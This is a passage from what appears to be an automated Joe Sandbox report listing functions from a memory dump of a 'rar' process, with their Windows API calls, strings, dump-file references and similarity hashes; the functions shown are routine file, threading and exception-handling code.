Opcode ID: 84c97cd936c0b2bb546c7914bc35e6a0bad55efb9bf4e2a2824d38ff43805cc4
Instruction ID: 002b90437dbce2740dfb7ab84031ff274a97dfb466e1b8b16df87d20b2928bf4
Opcode Fuzzy Hash: 84c97cd936c0b2bb546c7914bc35e6a0bad55efb9bf4e2a2824d38ff43805cc4
Instruction Fuzzy Hash: FF314565618A8542EA18DB2CF4152AAA270BB8C7B4F501331EB7E87BF1DF3CE546C300

Function 00007FF6BBD17854 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6BBD1793A
WriteFile.KERNEL32 ref: 00007FF6BBD1796D
GetLastError.KERNEL32 ref: 00007FF6BBD1798F

Strings

U, xrefs: 00007FF6BBD17918

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction ID: e0011f97e5095b9fb848167e1f8b335a63f731dfe014ace255cf0a6c71d33555
Opcode Fuzzy Hash: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction Fuzzy Hash: 7A41BF62B18A9586EB248F29E8443BAB7A1FB88784F854231EF4D877A4DF3CD445C740

Function 00007FF6BBD0D7BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBD0E7D0: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF6BBD0E7D4

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6BBD0D7E2
RaiseException.KERNEL32 ref: 00007FF6BBD0D80B
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6BBD0D86C

Strings

csm, xrefs: 00007FF6BBD0D83F

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction ID: 4472206d43b564dc829cae99293f9f0744f59e0b4338d301184eea24bcf84845
Opcode Fuzzy Hash: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction Fuzzy Hash: 68214F7AA0864186E638DF19E05066E7761FB88BA5F445336DF9D83BA5CF3CE445CB00

Function 00007FF6BBCE42CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCE430F
wcschr.LIBVCRUNTIME ref: 00007FF6BBCE432C
wcschr.LIBVCRUNTIME ref: 00007FF6BBCE433C

Strings

%c:\, xrefs: 00007FF6BBCE4302

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: wcschr$swprintf
String ID: %c:\
API String ID: 1303626722-3142399695
Opcode ID: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction ID: 0fbcf93390194c678493e20de7c43d42866ad66c1012fd5a6437dea945e3aaec
Opcode Fuzzy Hash: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction Fuzzy Hash: 17115E62A18781C1EE24AF1595060AE6771BF4DB90B588635DF6E937F6DF3CF4618200

Function 00007FF6BBCFB780 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF6BBCFB7C0
CreateSemaphoreW.KERNEL32 ref: 00007FF6BBCFB7D0
CreateEventW.KERNEL32 ref: 00007FF6BBCFB7E7

Strings

Thread pool initialization failed., xrefs: 00007FF6BBCFB803

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction ID: a5a589ea4b56c12e3ae1473805056d1b2454d0c6c2c5aed642c8ee8c38d83563
Opcode Fuzzy Hash: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction Fuzzy Hash: C611D632B0568186F758CF2AE4043AA32A2FBDCB58F188539CB4D4B669CF7DD456C780

Function 00007FF6BBD02984 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBD02B96
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBD02BA7

Part of subcall function 00007FF6BBD0BA34: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BBD0B313), ref: 00007FF6BBD0BAB1
Part of subcall function 00007FF6BBD0BA34: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BBD0B313), ref: 00007FF6BBD0BAF0

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBD02BB2
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBD02BC3

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Exception$Throwstd::bad_alloc::bad_alloc$FileHeaderRaise
String ID:
API String ID: 904936192-0
Opcode ID: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction ID: 0ff45f15d37238b6d81994ede0f3b9cb566d66393e7a1f04ca8d76d8aea5f286
Opcode Fuzzy Hash: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction Fuzzy Hash: 9F51E162A1AA8581EB58CF2AD4603AD73A1FB88B98F448335DF5E877A5DF7CD511C300

Function 00007FF6BBCD3818 Relevance: 6.1, APIs: 4, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000004,00000000,?,?,?,?,?,00007FF6BBCCF6FC,00000000,?,?,?,?,00007FF6BBCD097D), ref: 00007FF6BBCD38CD
CreateFileW.KERNEL32(?,?,?,?,?,00007FF6BBCCF6FC,00000000,?,?,?,?,00007FF6BBCD097D,?,?,00000000), ref: 00007FF6BBCD391F
SetFileTime.KERNEL32(?,?,?,?,?,00007FF6BBCCF6FC,00000000,?,?,?,?,00007FF6BBCD097D,?,?,00000000), ref: 00007FF6BBCD399B
CloseHandle.KERNEL32(?,?,?,?,?,00007FF6BBCCF6FC,00000000,?,?,?,?,00007FF6BBCD097D,?,?,00000000), ref: 00007FF6BBCD39A6

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6b21d4b4015e45ce14e3c1bb02d2562928349115458abc9ea3e67fc953cea0f1
Instruction ID: 402c295a393061b9c89e9c9b36b88252d5370bf722e2be28b44faf20d67d7b1c
Opcode Fuzzy Hash: 6b21d4b4015e45ce14e3c1bb02d2562928349115458abc9ea3e67fc953cea0f1
Instruction Fuzzy Hash: 9F41D026B8C68242EA54CB19B41977A66B1BBC97A4F504231EF9D877F4DF3CD4098700

Function 00007FF6BBD00244 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBD003D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBD003E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBD003EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBD00400

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction ID: 20ebc6495e615453022bea2edd0ae11cccdb016b6f05bf197c72b8d69653c724
Opcode Fuzzy Hash: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction Fuzzy Hash: F341E751E0CAC699EB5ADB29D0703FD2390FF48B84F980A32DB4D867A9DF2CE4458314

Function 00007FF6BBD15120 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD15173
WideCharToMultiByte.KERNEL32 ref: 00007FF6BBD15245
GetLastError.KERNEL32 ref: 00007FF6BBD15268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD1529A

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction ID: f0ab6bc7c17a318c3a9382fbdbf2b2f25fb7f6ba114c61f037e101ed7aa1bd68
Opcode Fuzzy Hash: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction Fuzzy Hash: A6417422A0D79246FB6A8A59D050379B691FF48B94F5C4331DF4D86AE9DF3CE4818B00

Function 00007FF6BBCCD048 Relevance: 6.1, APIs: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00007FF6BBCB86CB,?,?,?,00007FF6BBCBA5CB,?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2DF9), ref: 00007FF6BBCCD09D
CreateFileW.KERNEL32(?,00007FF6BBCB86CB,?,?,?,00007FF6BBCBA5CB,?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2DF9), ref: 00007FF6BBCCD0E5
CreateFileW.KERNEL32(?,00007FF6BBCB86CB,?,?,?,00007FF6BBCBA5CB,?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2DF9), ref: 00007FF6BBCCD114
CreateFileW.KERNEL32(?,00007FF6BBCB86CB,?,?,?,00007FF6BBCBA5CB,?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2DF9), ref: 00007FF6BBCCD15C

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction ID: 0ea5d7963f3b8b8035f744060ace3f2121ef995ccf5a173bcb3785721842af96
Opcode Fuzzy Hash: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction Fuzzy Hash: DE316C32618B8582E7608F15E5587AA77A0F789BB8F505329EBAC47BD8CF3CD0448B44

Function 00007FF6BBCFB4EC Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6BBCFB549
SetPriorityClass.KERNEL32 ref: 00007FF6BBCFB554
GetCurrentThread.KERNEL32 ref: 00007FF6BBCFB55A
SetThreadPriority.KERNEL32 ref: 00007FF6BBCFB565

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CurrentPriorityThread$ClassProcess
String ID:
API String ID: 1171435874-0
Opcode ID: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction ID: 5802ce86221d8b65febfd05e18665a82855db271f53f8ab24b8742fc39a73979
Opcode Fuzzy Hash: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction Fuzzy Hash: C8115E32E08642CBF665CB18E49823C6271FFAC744F200474C70E976A1DF2CB84D5704

Function 00007FF6BBD15630 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6BBD0F3FC,?,?,?,00007FF6BBD1143D), ref: 00007FF6BBD1563A
SetLastError.KERNEL32(?,?,?,00007FF6BBD0F3FC,?,?,?,00007FF6BBD1143D), ref: 00007FF6BBD156A2
SetLastError.KERNEL32(?,?,?,00007FF6BBD0F3FC,?,?,?,00007FF6BBD1143D), ref: 00007FF6BBD156B8
abort.LIBCMT ref: 00007FF6BBD156BE

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction ID: f5399774227cd9553d3ee0b274ecd41352ee2c8bd120fd2cb602ac1d5c00702d
Opcode Fuzzy Hash: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction Fuzzy Hash: 56019E20B0E65346FA5CA73DD65513C5191BF4CBC8F084738DB1E86BF2ED2DE8014A44

Function 00007FF6BBCFB850 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCFBBFC: ResetEvent.KERNEL32 ref: 00007FF6BBCFBC15
Part of subcall function 00007FF6BBCFBBFC: ReleaseSemaphore.KERNEL32 ref: 00007FF6BBCFBC2B

ReleaseSemaphore.KERNEL32 ref: 00007FF6BBCFB887
CloseHandle.KERNEL32 ref: 00007FF6BBCFB8A8
DeleteCriticalSection.KERNEL32 ref: 00007FF6BBCFB8C0
CloseHandle.KERNEL32 ref: 00007FF6BBCFB8CE

Part of subcall function 00007FF6BBCFB974: WaitForSingleObject.KERNEL32 ref: 00007FF6BBCFB97B
Part of subcall function 00007FF6BBCFB974: GetLastError.KERNEL32 ref: 00007FF6BBCFB986

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction ID: f1f8d544e9aaece3cf0d2240f9d6c97760935cc726a522e4a9591444f10d27a7
Opcode Fuzzy Hash: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
